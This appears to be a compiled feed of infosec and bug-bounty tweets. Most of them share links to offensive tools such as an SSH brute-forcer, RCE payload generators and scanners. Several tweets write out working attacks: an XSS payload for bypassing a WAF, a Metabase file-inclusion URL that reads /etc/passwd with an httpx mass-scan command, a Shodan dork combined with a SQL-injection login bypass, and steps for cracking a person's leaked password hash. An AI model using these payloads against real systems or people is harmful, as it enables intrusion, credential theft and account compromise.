¶∆~#RayZon#~∆¶

Fall In Love With Networking 😴
Bug Bounty Hunter

[3ackd0or @3ackd0or]

Orbitaldump - a simple multi-threaded distributed SSH brute-forcing tool written in Python.
#Security #0day #BugBounty #vulnerabilities #CyberSecurity #infosec #informationsecurity #infosecurity #cyberattacks #ThreatHunting
https://t.co/sxLXNAtmQa

[Hossein NafisiAsl @MeAsHacker_HNA]

With #CVE-2022-29072 you can gain SYSTEM privilege in victim system when he has 7zip 😎🥳

https://t.co/aFNMgW2Lnv
#Windows #PrivilegeEscalation
#RedTeam

[JS0N Haddix @Jhaddix]

Another long (hacker) story thread 🧵

= Stealing checks worth millions & pwning a bank =

Here’s how I did it, so you can learn.

I was once contracted to do a penetration test on a bank…

Like, retweet, and follow for more hacker stories!

(1/x)

[¶∆~#RayZon#~∆¶ @Root_Rayzon]

https://t.co/pcJwBVglwx

[Emad Shanab - أبو عبد الله @Alra3ees]

Easy way to find blind xss via Femida.

I have forked the repo and edited the files.
Just add your blind xss domain on payloads.txt and load the extension.
Add your scope and run spiders of gospiders then click Femida run proxy.
https://t.co/q2O62QTTv1
Thanks @hd_421 @wish_iwas

[Florian Hansemann @CyberWarship]

HTML smuggling explained

'...will explain how a few lines of JavaScript have big impact on perimeter security.'

#infosec #pentest #redteam
https://t.co/DzhLLBsoeg

[Emad Shanab - أبو عبد الله @Alra3ees]

Scanners Box:-
A powerful hacker toolkit collected more than 10 categories of open source scanners from Github.
https://t.co/202x8KQdDb

[Florian Hansemann @CyberWarship]

RCE-0-day-for-GhostScript-9.50: RCE 0-day for GhostScript 9.50 - Payload generator

#infosec #pentest #redteam
https://t.co/YRClltRTah

[XSS Payloads @XssPayloads]

A payload that bypasses Cloudflare WAF, by @ex_mi
<img/src=x onError="`${x}`;alert(`Ex.Mi`);">

[Hakin9 @Hakin9]

Git Scanner: A tool for targeting websites that have open .git repositories available in public https://t.co/8il6Ah6EWx

#infosec #cybersecurity #redteam #pentest #pentesting #hacking #hackers #coding #opensource #opengit #scanner

[CyCatz @CyCatz_Official]

#bugbountytips #bugbounty #CVE-2021-41277 Metabase Custom GeoJSON Map file inclusion

https://domain/api/geojson?url=file:///etc/passwd

httpx -l IPlist.txt -follow-redirects -title -path /api/geojson?url=file:///etc/passwd -match-string "root:x:0:0"

[CyCatz @CyCatz_Official]

#bugbountytip #bugbounty Full account takeover through referral code 700$

More..https://t.co/et31G6ia7O

[shay @shaybt12]

httpx for CVE-2021-41277

httpx -l IPlist.txt -follow-redirects -title -path /api/geojson?url=file:///etc/passwd -match-string "root:x:0:0"

#bugbountytips #bugbounty

[Emad Shanab - أبو عبد الله @Alra3ees]

Bug bounty tips and tricks:-

CC @Yasser_Elsnbary

https://t.co/AmnPGv10VN
https://t.co/KrZ2GooyLC
https://t.co/TgL8NSeMWG
https://t.co/qd2mQ8Sc79
https://t.co/kzqPXBsAed
https://t.co/wi7jApAxGZ
https://t.co/JpQwy6tcdZ
https://t.co/hBsBVaS6rk
https://t.co/16LmBVauzi

[Mahmoud Youssef @0xmahmoudJo0]

~Admin Panel Accessed via sqli

#bugbountytips

1- Search for Login panels through @shodanhq with this dork:

org:"TARGET" http.title:"login"

2- Bypass login with old way:
admin' or 1=1

#BugBounty #bugbountytip #cybersecurity #sqli

[Cyber Detective💙💛 @cyb_detective]

One way to find out the variations of passwords a person uses by email.
1. Go to https://t.co/bLqzpPu5ch (search in leaks)
2. Type in an email search
3. Copy the SHA-1 Hash of the password found.
4. Search for it in the database of decrypted hashes https://t.co/XUgKkr3V2n

#osint

[Cyber Detective💙💛 @cyb_detective]

List 1462 of tools for #osint from @andyblacz (Andy Black Associates)

Lots of basic resources for beginners, lots of tools to optimize your workflow. Some of it is outdated, but there is still a lot of useful stuff on the list.

https://t.co/Z8O867lBUs

#osint #socmint #geoint

[Ryan M. Montgomery @0dayCTF]

ChopChop - Quickly Discover Sensitive Endpoints/Files/Folders
-
Repo: https://t.co/5LfZncYq3c
-
Creator: @michelin_eng
-
#cybersecuritytips #CybersecurityNews #bugbountytips #ctf #infosec

[Florian Hansemann @CyberWarship]

Gopherus

If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF to gain RCE

#infosec #pentest #bugbountytip
https://t.co/K51125CoN6